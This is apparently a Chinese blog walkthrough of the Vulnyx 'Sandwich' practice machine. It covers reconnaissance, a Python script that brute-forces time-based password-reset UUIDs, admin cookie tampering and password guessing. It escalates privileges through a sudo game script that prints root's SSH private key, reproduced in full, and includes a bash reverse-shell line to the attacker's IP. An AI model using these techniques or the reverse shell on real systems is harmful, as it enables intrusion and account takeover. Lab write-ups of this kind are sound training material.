avatar🌌
DingTomDingTom的博客

Next Generation Static Blog Framework.

记录我的学习和生活

Vulnyx-Sandwich

bash
$ nmap -sVC -O 192.168.31.218 -p 22,80 -o nmapscan/nmap_tcp
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-03 22:17 EDT
Nmap scan report for sandwich (192.168.31.218)
Host is up (0.00087s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey: 
|   256 4d:30:db:f3:d0:b5:b2:65:8d:3b:08:dc:56:2b:28:b9 (ECDSA)
|_  256 16:9f:f2:7f:ca:5a:a2:03:65:9e:f1:09:ae:15:f7:8b (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Sandwich.nyx | Your Favorite Sandwiches!
MAC Address: 08:00:27:74:26:82 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.27 seconds
bash
$ gobuster dir -u http://Sandwich.nyx/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --random-agent -b 401,403,404,500 -x php,html -t 10 
/index.php            (Status: 200) [Size: 7845]
/download.php         (Status: 200) [Size: 58]
/img                  (Status: 301) [Size: 310] [--> http://sandwich.nyx/img/]
/logout.php           (Status: 302) [Size: 0] [--> index.php]
/vendor               (Status: 301) [Size: 313] [--> http://sandwich.nyx/vendor/]
/config.php           (Status: 200) [Size: 0]

$ gobuster dir -u http://Sandwich.nyx/vendor -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --random-agent -b 401,403,404,500 -x php,html -t 10
/index.html           (Status: 200) [Size: 0]
/composer             (Status: 301) [Size: 322] [--> http://sandwich.nyx/vendor/composer/]
bash
$ wfuzz --hh 7844 -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://sandwich.nyx/ -H "Host:FUZZ.sandwich.nyx"
=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                      
=====================================================================

000000005:   302        0 L      0 W        0 Ch        "webmail"

$ gobuster dir -u http://webmail.sandwich.nyx/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --random-agent -b 401,403,404,500 -x php,html -t 10
/index.php            (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 784]
/register.php         (Status: 200) [Size: 856]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
/inbox.php            (Status: 302) [Size: 0] [--> login.php]

基本扫描结束,我们来进行业务逻辑的探索
这里是一个邮箱系统的登录页面,当注册 admin@sandwich.nyx 被告知已经有这个用户了 爆破密码最后再考虑

我们注册一个 ding@sandwich.nyx:ding 的用户进去看一下
看到是一个邮箱系统
可以正常发送消息

在主站也有一个登录注册页面,我们使用刚才的邮箱进行注册
然后并没有什么发现,我们再尝试其他的思路
我们退出登录,发现有一个重设密码的功能

后面很像一个 uuid 的样子
我们在发几遍

发现后面不变

这里有两种做法,第一种应该是标准做法

resetpasswd.py:

python
import requests

def reset_password(email):

    url = " http://sandwich.nyx/index.php"
    
    data = {
        "email": email,
        "reset_action": "1"
    }
    
    headers = {
        "Host": "sandwich.nyx",
        "Origin": " http://sandwich.nyx",
        "Referer": " http://sandwich.nyx/index.php",
    }
    response = requests.post(url, data=data, headers=headers)
    return response

def main():
    reset_password("ding@sandwich.nyx")
    reset_password("admin@sandwich.nyx")
    reset_password("ding@sandwich.nyx")

if __name__ == "__main__":
    main()
uuid_generator.py
import os
def uuid_to_int(uuid_str):
    """将UUID字符串转换为整数"""
    # 只取前8个字符(32位)进行处理,因为只有这部分在变化
    prefix = uuid_str.split('-')[0]
    # 转换为整数
    return int(prefix, 16)

def int_to_uuid(num, template):
    """将整数转换回UUID格式"""
    # 使用原始UUID作为模板,只替换前8个字符
    hex_str = f"{num:08x}"
    
    # 将原始UUID中的前8个十六进制字符替换为新值
    template_parts = template.split('-')
    template_parts[0] = hex_str
    
    # 重新组合UUID
    result = '-'.join(template_parts)
    
    return result

def main():
    # 两个UUID
    uuid1 = "866eed42-1222-11f0-8069-080027742682"
    uuid2 = "86690698-1222-11f0-8069-080027742682"
    
    # 转换为整数
    int1 = uuid_to_int(uuid1)
    int2 = uuid_to_int(uuid2)
    
    # 确保int1 <= int2
    if int1 > int2:
        int1, int2 = int2, int1
        uuid1, uuid2 = uuid2, uuid1
    
    # 计算UUID数量
    uuid_count = int2 - int1 + 1
    
    # 计算占用空间(每个UUID是36个字符加一个换行符,共37字节)
    space_bytes = uuid_count * 37
    
    # 转换为更友好的单位
    if space_bytes < 1024:
        space_str = f"{space_bytes} 字节"
    elif space_bytes < 1024 * 1024:
        space_str = f"{space_bytes / 1024:.2f} KB"
    elif space_bytes < 1024 * 1024 * 1024:
        space_str = f"{space_bytes / (1024 * 1024):.2f} MB"
    else:
        space_str = f"{space_bytes / (1024 * 1024 * 1024):.2f} GB"
    
    print(f"UUID范围: {uuid1}{uuid2}")
    print(f"整数范围: {int1}{int2}")
    print(f"需要生成的UUID数量: {uuid_count}")
    print(f"预计占用空间: {space_str}")
    
    # 询问用户是否继续
    user_input = input("是否继续生成? (y/n): ")
    if user_input.lower() != 'y':
        print("已取消生成")
        return
    
    # 创建输出文件
    output_file = "uuid.txt"
    with open(output_file, 'w') as f:
        # 生成字典
        count = 0
        for i in range(int1, int2 + 1):
            uuid_str = int_to_uuid(i, uuid1)
            f.write(uuid_str + '\n')
            count += 1
    
    print(f"字典生成完成,共 {count} 个UUID")

if __name__ == "__main__":
    main()

由观察可以看出,这个 token 生成是跟时间有关的,那么我们可以去分别请求 token,去得到 admin 的 token 的范围,然后我们去fuzz

bash
$ gobuster fuzz -m POST -u 'http://sandwich.nyx/resetpassword.php' --body 'token=FUZZ&new_password=password&confirm_password=password' -w uuid.txt --exclude-length 420 --random-agent

还有一种方法,我采用了这种方法,就是这个 web 设计的一个漏洞
首先勾选 remember me,登录到自己的里面

bp 开启拦截,然后刷新

可以看到这个 cookie 已经有了变化,然后我们进行修改

修改一下 cookie 的 会话信息,和 admin 用户信息

可以看到页面发生变化

修改一下浏览器的 cookie

成功下载

Email,Bread,Ingredients,Sauces,"Created At"
ll104567_9q@sandwich.nyx,"Whole Wheat","Ham,Cheese,Tomato",Mustard,"2025-03-30 19:04:31"
suraxddq_tw@sandwich.nyx,White,"Ham,Cheese,Lettuce,Tomato","Mayonnaise,Ketchup","2025-03-30 19:04:56"
xerosec_w5@sandwich.nyx,Rye,"Cheese,Lettuce",Mustard,"2025-03-30 19:05:19"
j4ckie_x5@sandwich.nyx,"Whole Wheat","Cheese,Lettuce,Tomato","Mayonnaise,Mustard,Ketchup","2025-03-30 19:05:52"
matthygd_x@sandwich.nyx,"Whole Wheat","Cheese,Lettuce","Mayonnaise,Mustard","2025-03-30 19:07:19"
bash
$ cat mail | grep @ | awk -F ',' '{print $1}'
ll104567_9q@sandwich.nyx
suraxddq_tw@sandwich.nyx
xerosec_w5@sandwich.nyx
j4ckie_x5@sandwich.nyx
matthygd_x@sandwich.nyx

$ cat mail | grep @ | awk -F ',' '{print $1}' > user

使用这个字典爆破一下

matthygd_x@sandwich.nyx:qweasd

matthygd_xy:tGCD9XIP03IHpSCDdoRu

权限提升

To ll104567

bash
$ ssh matthygd_xy@sandwich.nyx       
matthygd_xy@sandwich.nyx's password: tGCD9XIP03IHpSCDdoRu

matthygd_xy@sandwich:~$ cat user.txt 
c158efefab9bfd356fa8e9ec3c440da1
bash
matthygd_xy@sandwich:/home$ sudo -l
Matching Defaults entries for matthygd_xy on sandwich:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User matthygd_xy may run the following commands on sandwich:
    (root) NOPASSWD: /bin/chvt

matthygd_xy@sandwich:/home$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
matthygd_xy:x:1000:1000:,,,:/home/matthygd_xy:/bin/bash
ll104567:x:1001:1001:,,,:/home/ll104567:/bin/bash
bash
matthygd_xy@sandwich:/home$ find / -user ll104567 2>/dev/null | grep -vP 'sys|proc'
/run/user/1001
/dev/tty20
/home/ll104567
bash
matthygd_xy@sandwich:/home$ sudo chvt 20

To root

bash
$ cat index.html                                   
bash -c "bash -i >& /dev/tcp/192.168.31.187/1234 0>&1"

输入法有问题,我们弹个 shell 回来

bash
(remote) ll104567@sandwich:/home/ll104567$ id
uid=1001(ll104567) gid=1001(ll104567) grupos=1001(ll104567),100(users)

(remote) ll104567@sandwich:/home/ll104567$ sudo -l
Matching Defaults entries for ll104567 on sandwich:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ll104567 may run the following commands on sandwich:
    (ALL) NOPASSWD: /opt/game.sh
bash
(remote) ll104567@sandwich:/home/ll104567$ cat /opt/game.sh
#!/bin/bash

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

MAX=2000000

ATTEMPTS=$(/usr/bin/awk -v max="$MAX" 'BEGIN {printf "%d", (log(max)/log(2) + 0.999999)}')

/bin/echo "Hello! What is your name?"
read NAME

NUMBER=$(( ( RANDOM % MAX ) + 1 ))

/bin/echo "Well, $NAME, I'm thinking of a number between 1 and $MAX."
/bin/echo "You have $ATTEMPTS attempts to guess it."

ATTEMPTS_MADE=0

SECRET_FILE="/root/.ssh/id_rsa"

while [ $ATTEMPTS_MADE -lt $ATTEMPTS ]; do
  /bin/echo "Try to guess:"
  read GUESS

  # Validate that the input is a valid number
  if ! [[ "$GUESS" =~ ^[0-9]+$ ]]; then
    /bin/echo "Please, enter a valid number."
    continue
  fi

  ATTEMPTS_MADE=$((ATTEMPTS_MADE + 1))

  if [ $GUESS -lt $NUMBER ]; then
    /bin/echo "Your guess is too low."
  elif [ $GUESS -gt $NUMBER ]; then
    /bin/echo "Your guess is too high."
  else
    break
  fi
done

if [ $GUESS -eq $NUMBER ]; then
  /bin/echo "Good job, $NAME! You guessed my number in $ATTEMPTS_MADE attempts!"
  /bin/echo "Here's your reward:"
  /bin/cat "$SECRET_FILE"
else
  /bin/echo "No, the number I was thinking of was $NUMBER."
fi
bash
(remote) ll104567@sandwich:/home/ll104567$ sudo /opt/game.sh 
Hello! What is your name?
1
Well, 1, I'm thinking of a number between 1 and 2000000.
You have 21 attempts to guess it.
Try to guess:
10000
Your guess is too high.
Try to guess:
5000
Your guess is too low.
Try to guess:
6000
Your guess is too low.
Try to guess:
7000
Your guess is too low.
Try to guess:
8000
Your guess is too low.
Try to guess:
9000
Your guess is too high.
Try to guess:
8500
Your guess is too high.
Try to guess:
8250
Your guess is too high.
Try to guess:
8125
Your guess is too high.
Try to guess:
8062
Your guess is too high.
Try to guess:
8031
Your guess is too low.
Try to guess:
8046
Your guess is too low.
Try to guess:
8054
Your guess is too low.
Try to guess:
8058
Your guess is too high.
Try to guess:
8056
Your guess is too low.
Try to guess:
8057
Good job, 1! You guessed my number in 16 attempts!
Here's your reward:
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
bash
(remote) ll104567@sandwich:/home/ll104567$ chmod 600 id 
(remote) ll104567@sandwich:/home/ll104567$ ssh -i id root@localhost

root@sandwich:~# cat root.txt 
a4e728e6ffc502beea7570a75348af44
Vulnyx-Solar
Valaxy v0.28.0-beta.7 驱动|主题-Yunv0.28.0-beta.7